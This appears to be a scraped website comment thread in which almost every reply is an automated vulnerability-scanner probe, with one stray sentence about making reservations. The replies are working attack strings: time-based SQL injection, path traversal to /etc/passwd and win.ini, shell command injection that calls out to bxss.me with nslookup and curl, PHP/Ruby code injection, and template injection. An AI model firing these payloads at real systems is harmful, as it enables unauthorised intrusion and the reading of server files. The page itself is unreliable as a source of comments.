-1 OR 3+434-434-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
89UFEf2k'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 457=(SELECT 457 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 437=(SELECT 437 FROM PG_SLEEP(15))--
re: paul_paulpiwat
nwdcLLr8' OR 530=(SELECT 530 FROM PG_SLEEP(15))--
re: paul_paulpiwat
ifCTPicr') OR 83=(SELECT 83 FROM PG_SLEEP(15))--
re: paul_paulpiwat
Mb7GI5Yr')) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@KPLHF
re: paul_paulpiwat
LVenXKt4
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
rlQQLs82'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 810=(SELECT 810 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 310=(SELECT 310 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 870=(SELECT 870 FROM PG_SLEEP(15))--
re: paul_paulpiwat
NkHQG4wi' OR 838=(SELECT 838 FROM PG_SLEEP(15))--
re: paul_paulpiwat
kPfbn4nk') OR 148=(SELECT 148 FROM PG_SLEEP(15))--
re: paul_paulpiwat
9bTOfYWa')) OR 273=(SELECT 273 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@jnQdN
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
There are times when walk-ins are allowed, but it is safe to make reservations in advance.
re: Leo Saito
LvNcTuWM
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+619-619-1=0+0+0+1
re: Leo Saito
-1 OR 3+619-619-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
IzzFck3d'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 555=(SELECT 555 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
re: Leo Saito
eon7ekMo' OR 642=(SELECT 642 FROM PG_SLEEP(15))--
re: Leo Saito
FfRTfvRR') OR 522=(SELECT 522 FROM PG_SLEEP(15))--
re: Leo Saito
UFLGOIFX')) OR 68=(SELECT 68 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@bHpVC
re: Leo Saito
h20rkm5M
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+347-347-1=0+0+0+1
re: Leo Saito
-1 OR 3+347-347-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
sZ3Gg9sX'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 141=(SELECT 141 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 372=(SELECT 372 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 288=(SELECT 288 FROM PG_SLEEP(15))--
re: Leo Saito
ew3NlbkT' OR 534=(SELECT 534 FROM PG_SLEEP(15))--
re: Leo Saito
nnDkWLqm') OR 688=(SELECT 688 FROM PG_SLEEP(15))--
re: Leo Saito
DWJF1Bv1')) OR 631=(SELECT 631 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@vXJNA
re: Leo Saito
1s0dmSMrO
re: Leo Saito
response.write(9926225*9723740)
re: Leo Saito
%0abcc:074625.67-10260.67.d2eec.19990.2@bxss.me
re: Leo Saito
'+response.write(9926225*9723740)+'
re: Leo Saito
to@example.com>%0d%0abcc:074625.67-10261.67.d2eec.19990.2@bxss.me
re: Leo Saito
"+response.write(9926225*9723740)+"
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
${10000296+9999835}
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
file:///etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../../proc/version
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Leo Saito
../../../../../../../../../../etc/passwd%00.jpg
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Leo Saito
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Leo Saito
)
re: Leo Saito
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
/etc/passwd
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
echo ihunkt$()\ kchwmz\nz^xyu||a #' &echo ihunkt$()\ kchwmz\nz^xyu||a #|" &echo ihunkt$()\ kchwmz\nz^xyu||a #
re: Leo Saito
%2fetc%2fpasswd
re: Leo Saito
&echo jcxrcf$()\ batuub\nz^xyu||a #' &echo jcxrcf$()\ batuub\nz^xyu||a #|" &echo jcxrcf$()\ batuub\nz^xyu||a #
re: Leo Saito
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Leo Saito
|echo zzjudz$()\ yhhvzn\nz^xyu||a #' |echo zzjudz$()\ yhhvzn\nz^xyu||a #|" |echo zzjudz$()\ yhhvzn\nz^xyu||a #
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Leo Saito
(nslookup hitidqlzulnur87385.bxss.me||perl -e "gethostbyname('hitidqlzulnur87385.bxss.me')")
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Leo Saito
$(nslookup hitovvelybvne7bd59.bxss.me||perl -e "gethostbyname('hitovvelybvne7bd59.bxss.me')")
re: Leo Saito
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Leo Saito
'.gethostbyname(lc('hitqf'.'wdhunzzj8cece.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(105).chr(75).'
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Leo Saito
&nslookup hitlxhdesmdcn9a97e.bxss.me&'\"`0&nslookup hitlxhdesmdcn9a97e.bxss.me&`'
re: Leo Saito
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Leo Saito
".gethostbyname(lc("hitil"."jaxtbajfdfbe2.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(67).chr(113).chr(72)."
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Leo Saito
&(nslookup hitvisbvsvzvc94bff.bxss.me||perl -e "gethostbyname('hitvisbvsvzvc94bff.bxss.me')")&'\"`0&(nslookup hitvisbvsvzvc94bff.bxss.me||perl -e "gethostbyname('hitvisbvsvzvc94bff.bxss.me')")&`'
re: Leo Saito
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
|(nslookup hithlaqnzmqgi0a169.bxss.me||perl -e "gethostbyname('hithlaqnzmqgi0a169.bxss.me')")
re: Leo Saito
file:///etc/passwd
re: Leo Saito
http://bxss.me/t/fit.txt%3F.jpg
re: Leo Saito
`(nslookup hithrhbzqfyktf5fff.bxss.me||perl -e "gethostbyname('hithrhbzqfyktf5fff.bxss.me')")`
re: Leo Saito
/\../\../\../\../\../\../\../etc/passwd
re: Leo Saito
/etc/shells
re: Leo Saito
;(nslookup hitthftbjrsss89bfc.bxss.me||perl -e "gethostbyname('hitthftbjrsss89bfc.bxss.me')")|(nslookup hitthftbjrsss89bfc.bxss.me||perl -e "gethostbyname('hitthftbjrsss89bfc.bxss.me')")&(nslookup hitthftbjrsss89bfc.bxss.me||perl -e "gethostbyname('hitthftbjrsss89bfc.bxss.me')")
re: Leo Saito
/WEB-INF/web.xml
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
C:\WINDOWS\system32\drivers\etc\hosts
re: Leo Saito
bxss.me
re: Leo Saito
../../../../../../../../../../windows/win.ini%00.jpg
re: Leo Saito
/../../../../../../../../../../boot.ini
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(120).concat(71).concat(122).concat(80)+(require"socket"
Socket.gethostbyname("hitim"+"fimrgjmzbaf33.bxss.me.")[3].to_s)+"
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
..\..\..\..\..\..\..\..\windows\win.ini
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(98).concat(74).concat(120).concat(73)+(require'socket'
Socket.gethostbyname('hituq'+'syywzgfg4616d.bxss.me.')[3].to_s)+'
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Leo Saito
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Leo Saito
'"
re: Leo Saito
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Leo Saito
<!--
re: Leo Saito
WEB-INF/web.xml
re: Leo Saito
WEB-INF\web.xml
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
-1 OR 2+47-47-1=0+0+0+1 --
re: Leo Saito
-1 OR 3+47-47-1=0+0+0+1 --
re: Leo Saito
-1 OR 2+712-712-1=0+0+0+1
re: Leo Saito
-1 OR 3+712-712-1=0+0+0+1
re: Leo Saito
-1' OR 2+18-18-1=0+0+0+1 --
re: Leo Saito
-1' OR 3+18-18-1=0+0+0+1 --
re: Leo Saito
-1' OR 2+690-690-1=0+0+0+1 or '0hOKOz48'='
re: Leo Saito
-1' OR 3+690-690-1=0+0+0+1 or '0hOKOz48'='
re: Leo Saito
-1" OR 2+45-45-1=0+0+0+1 --
re: Leo Saito
-1" OR 3+45-45-1=0+0+0+1 --
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
ODq8aUj6'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 514=(SELECT 514 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 471=(SELECT 471 FROM PG_SLEEP(15))--
re: Leo Saito
RAusMjtQ' OR 870=(SELECT 870 FROM PG_SLEEP(15))--
re: Leo Saito
kHHLat6z') OR 465=(SELECT 465 FROM PG_SLEEP(15))--
re: Leo Saito
2UMWrnqv')) OR 613=(SELECT 613 FROM PG_SLEEP(15))--
re: Leo Saito
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@WuNc0
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1N36BZF540
re: Leo Saito
response.write(9993218*9111201)
re: Leo Saito
'+response.write(9993218*9111201)+'
re: Leo Saito
"+response.write(9993218*9111201)+"
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
${9999353+9999955}
re: Leo Saito
file:///etc/passwd
re: Leo Saito
../
re: Leo Saito
)
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
redirtest.acx
re: Leo Saito
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Leo Saito
echo hxgtca$()\ mpfwki\nz^xyu||a #' &echo hxgtca$()\ mpfwki\nz^xyu||a #|" &echo hxgtca$()\ mpfwki\nz^xyu||a #
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Leo Saito
'.gethostbyname(lc('hitrc'.'fppfrlnt9cb25.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(83).chr(100).chr(85).'
re: Leo Saito
&echo rwwdtc$()\ oxhmtr\nz^xyu||a #' &echo rwwdtc$()\ oxhmtr\nz^xyu||a #|" &echo rwwdtc$()\ oxhmtr\nz^xyu||a #
re: Leo Saito
".gethostbyname(lc("hitye"."kjhgdhkr90b0d.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(68).chr(121).chr(69)."
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Leo Saito
gethostbyname(lc('hitmx'.'fupmkebl170e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(68).chr(118).chr(77)
re: Leo Saito
/etc/shells
re: Leo Saito
|echo ezbeqo$()\ hwpfwu\nz^xyu||a #' |echo ezbeqo$()\ hwpfwu\nz^xyu||a #|" |echo ezbeqo$()\ hwpfwu\nz^xyu||a #
re: Leo Saito
../../../../../../../../../../../../../../etc/shells
re: Leo Saito
expr 9000409211 - 987821
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
(nslookup -q=cname hitiedahyxphd1f976.bxss.me||curl hitiedahyxphd1f976.bxss.me))
re: Leo Saito
$(nslookup -q=cname hitvsahouumha86219.bxss.me||curl hitvsahouumha86219.bxss.me)
re: Leo Saito
bxss.me
re: Leo Saito
&nslookup -q=cname hitswezgfhhks5962e.bxss.me&'\"`0&nslookup -q=cname hitswezgfhhks5962e.bxss.me&`'
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
&(nslookup -q=cname hitqhoyriqvuw48211.bxss.me||curl hitqhoyriqvuw48211.bxss.me)&'\"`0&(nslookup -q=cname hitqhoyriqvuw48211.bxss.me||curl hitqhoyriqvuw48211.bxss.me)&`'
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
http://bxss.me/t/fit.txt?.jpg
re: Leo Saito
|(nslookup -q=cname hitjbwhdvyhvw2e49b.bxss.me||curl hitjbwhdvyhvw2e49b.bxss.me)
